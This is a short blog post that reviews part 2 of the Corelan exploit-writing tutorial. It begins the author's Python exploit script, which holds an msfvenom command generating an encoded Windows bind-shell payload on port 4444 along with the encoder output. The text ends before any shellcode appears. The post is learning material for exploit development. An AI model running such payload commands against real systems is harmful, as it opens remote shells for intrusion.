Reviewing Corelan Exploit Writing Part 2

I was reviewing the Corelan Exploit Tutotials Part 2 located here.  Below is the python code that I have created following the tutorial.

#!/usr/bin/python

# msfvenom -p windows/shell_bind_tcp LPORT=4444 -b '\x00\x20\x0a\x0d' -f python

# No Arch selected, selecting Arch: x86 from the payload
# Found 22 compatible encoders
# Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
# x86/shikata_ga_nai succeeded with size 355 (iteration=0)
